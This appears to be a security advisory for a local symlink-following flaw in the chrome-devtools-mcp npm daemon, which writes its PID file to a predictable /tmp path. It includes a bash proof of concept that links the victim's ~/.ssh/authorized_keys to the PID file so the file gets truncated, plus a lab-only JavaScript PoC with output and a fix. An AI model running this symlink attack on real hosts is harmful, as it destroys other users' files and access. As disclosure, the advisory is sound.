PT-2026-50471 · Npm · Chrome-Devtools-Mcp
Publicado
2026-06-17
·
Atualizado
2026-06-17
·
CVE-2026-53765
CVSS v3.1
6.1
Média
| Vetor | AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L |
Summary
The chrome-devtools-mcp daemon writes its PID file with
fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG RUNTIME DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.Because the write does not use
O NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.This report is deliberately scoped to POSIX systems where the daemon falls back to
/tmp: typical macOS environments and Linux sessions without $XDG RUNTIME DIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.Details
Affected code:
src/daemon/daemon.ts:38-42ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());src/daemon/utils.ts:49-68ts
export function getRuntimeHome(sessionId: string): string {
const platform = os.platform();
const uid = os.userInfo().uid;
const suffix = sessionId ? `-${sessionId}` : '';
const appName = APP NAME + suffix;
if (process.env.XDG RUNTIME DIR) {
return path.join(process.env.XDG RUNTIME DIR, appName);
}
if (platform === 'darwin' || platform === 'linux') {
return path.join('/tmp', `${appName}-${uid}`);
}
return path.join(os.tmpdir(), appName);
}The
/tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victim uid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.Preconditions:
- The victim is on a typical macOS environment where
$XDG RUNTIME DIRis unset, or on a Linux system/session where$XDG RUNTIME DIRis unset. - The attacker has any local user account on the same host.
- The victim later runs a
chrome-devtoolsCLI path or MCP integration that starts daemon mode.
PoC
Realistic POSIX scenario:
bash
# Attacker, before victim starts daemon mode.
victim uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim uid}"
ln -s "/home/victim/.ssh/authorized keys"
"/tmp/chrome-devtools-mcp-${victim uid}/daemon.pid"
# Victim later starts daemon mode.
chrome-devtools start
# Result:
# fs.writeFileSync follows the symlink, so authorized keys is truncated to
# the daemon PID string.Lab-only PoC that touches only a fresh
os.tmpdir()/cdtmcp-lab-* directory:js
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));
try {
fs.chmodSync(lab, 0o755);
const victimSecret = path.join(lab, 'victim-secret.txt');
fs.writeFileSync(
victimSecret,
'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
',
);
const runtimeDir = path.join(lab, 'attacker-pre-created');
fs.mkdirSync(runtimeDir, {recursive: true});
const pidFilePath = path.join(runtimeDir, 'daemon.pid');
fs.symlinkSync(victimSecret, pidFilePath);
// Exact pattern from src/daemon/daemon.ts:39-42.
fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
fs.writeFileSync(pidFilePath, process.pid.toString());
console.log(fs.readFileSync(victimSecret, 'utf8'));
// -> "<pid>" (victim file was truncated/overwritten)
} finally {
fs.rmSync(lab, {recursive: true, force: true});
}Observed output from the lab PoC:
text
[setup] victim secret BEFORE attack:
IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
<pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.I can provide the standalone
pidfile symlink poc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.Impact
Who can exploit:
Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when
$XDG RUNTIME DIR is unset for that user session.Security impact:
- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
- Availability: critical user configuration files can be corrupted until restored from backup.
- Confidentiality: none directly; the written content is only the PID string.
Example targets affected by truncation:
~/.ssh/authorized keys, causing the victim to lose SSH access.~/.bashrc,~/.zshrc, or~/.profile, breaking shell startup.- Project
.env,secrets.json, license files, or line-oriented config files. - Logs or local audit files writable by the victim.
Suggested fix:
Open the PID file with
O NOFOLLOW and validate runtime directory ownership/permissions before writing:ts
import {constants, openSync, writeSync, closeSync} from 'node:fs';
const fd = openSync(
pidFilePath,
constants.O WRONLY |
constants.O CREAT |
constants.O TRUNC |
constants.O NOFOLLOW,
0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);Correção
Link Following
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Chrome-Devtools-Mcp